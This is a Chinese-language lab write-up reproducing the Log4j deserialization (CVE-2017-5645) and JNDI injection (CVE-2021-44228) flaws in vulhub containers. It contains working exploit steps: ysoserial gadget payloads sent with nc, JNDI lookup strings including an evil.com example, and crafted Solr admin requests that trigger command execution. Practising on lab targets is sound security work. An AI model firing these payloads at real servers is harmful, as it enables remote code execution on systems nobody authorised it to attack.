CVE-2017-5645(Log4j反序列化)
启动靶场环境
docker-compose up -d
靶机IPV4地址
ifconfig | grep eth0 -A 5┌──(root㉿kali)-/home/kali/Desktop/temp
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
RX packets 35392 bytes 37203041 (35.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
阅读vulhub给出的文档
cat README.mdApache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）
Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
漏洞环境
执行如下命令启动漏洞环境
```
docker compose up -d
```
环境启动后，将在4712端口开启一个TCPServer。
说一下，除了使用vulhub的docker镜像搭建环境外，我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer：`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`，无需使用vulhub和编写代码。
漏洞复现
我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。
```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```
然后执行`docker compose exec log4j bash`进入容器，可见 /tmp/success 已成功创建：
!\[\](1.png)
执行反弹shell的命令(http://www.jackson-t.ca/runtime-exec-payloads.html)，成功弹回shell：
!\[\](2.png)
进入容器环境中
docker exec -it 7d1002f21338 /bin/bash攻击机中通过urldns.jar对靶场利用链进行探测
java -jar Urldns.jar file all lfgmo7.dnslog.cn将gadget发送到靶机
cat 1.ser | nc 192.168.1.138 4712dnslog收到回显，可见CC31攻击链适用于靶机
通过ysosersial查看可用payload
java -jar ysoserial.jar
这里直接选用CommonsCollections7进行反序列化测试
我尝试在靶机**/tmp** 目录下新建一个0dayhp文件，生成Gadget
java -jar ysoserial.jar CommonsCollections7 "touch /tmp/0dayhp" > 1.ser在靶机中进入**/tmp**目录下
root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
将Gadget发送到靶机4712端口
cat 1.ser | nc 192.168.1.138 4712此时回到靶机**/tmp** 目录下，可见0dayhp文件已被成功创建
root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
root@7d1002f21338:/tmp# ls
0dayhp hsperfdata_root
CVE-2021-44228(Log4j2_JNDI注入)
启动靶场环境
docker-compose up -d
阅读vulhub给出的漏洞文档
cat README.zh-cn.mdApache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）
中文版本(Chinese version)(README.zh-cn.md)
Apache Log4j 2 是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。
参考链接：
漏洞环境
Apache Log4j2 不是一个特定的Web服务，而仅仅是一个第三方库，我们可以通过找到一些使用了这个库的应用来复现这个漏洞，比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0，其依赖了Log4j 2.14.1：
```
docker compose up -d
```
服务启动后，访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
漏洞复现
`{jndi:dns://{sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload，我们将其作为管理员接口的action参数值发送如下数据包：
```
GET /solr/admin/cores?action={jndi:ldap://{sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```
我们可以在DNS日志平台收到相关日志，显示出当前Java版本：
!\[\](1.png)
实际利用JNDI注入漏洞，可以使用JNDInjector(https://github.com/rebeyond/JNDInjector)。利用完毕后，可见`touch /tmp/success`已经成功被执行：
!\[\](2.png)
试用浏览器访问靶机8983端口
点击左侧Logging 由右侧展示信息可知，靶机使用了Log4j2组件
理论上来说，一切会被记入Log4j2日志组件的行为都可以触发漏洞，所以我尝试寻找接口
点击左侧的Core Admin，尝试对Core进行重命名
使用Yakit抓取请求包
GET /solr/admin/cores?_=1733816918585&action=RENAME&core=demo&other=abc&wt=json HTTP/1.1
Host: 192.168.1.138:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.138:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启用监听以便提供Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138该Payload尝试在靶机**/tmp** 目录下新建一个0dayhp文件
JNDI注入完整Payload：${jndi:ldap://192.168.1.138:1389/x2h2y7}
尝试对**/solr/admin/cores**接口下的参数进行JNDI注入
GET /solr/admin/cores?_=1733816918585&action=${jndi:ldap://192.168.1.138:1389/x2h2y7}&core=demo&other=abc&wt=json HTTP/1.1
Host: 192.168.1.138:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.138:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
进入靶机终端中
docker exec -it 2e7af438ec81 /bin/bash进入靶机/tmp目录下
root@2e7af438ec81:/# cd /tmp
root@2e7af438ec81:/tmp# ls
hsperfdata_root jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351 start_7074523919817787729.properties
在Yakit中直接进行发包获得响应
HTTP/1.1 400 Bad Request
Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=utf-8
Content-Length: 331
{
"responseHeader": {
"status": 400,
"QTime": 0
},
"error": {
"metadata": [
"error-class",
"org.apache.solr.common.SolrException",
"root-error-class",
"org.apache.solr.common.SolrException"
],
"msg": "Unsupported operation: ldap://192.168.1.138:1389/x2h2y7",
"code": 400
}
}
再次查看靶机**/tmp**目录下文件
root@2e7af438ec81:/tmp# ls
0dayhp jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351
hsperfdata_root start_7074523919817787729.properties
由输出可见，/tmp 目录下已经多出了一个0dayhp文件漏洞利用成功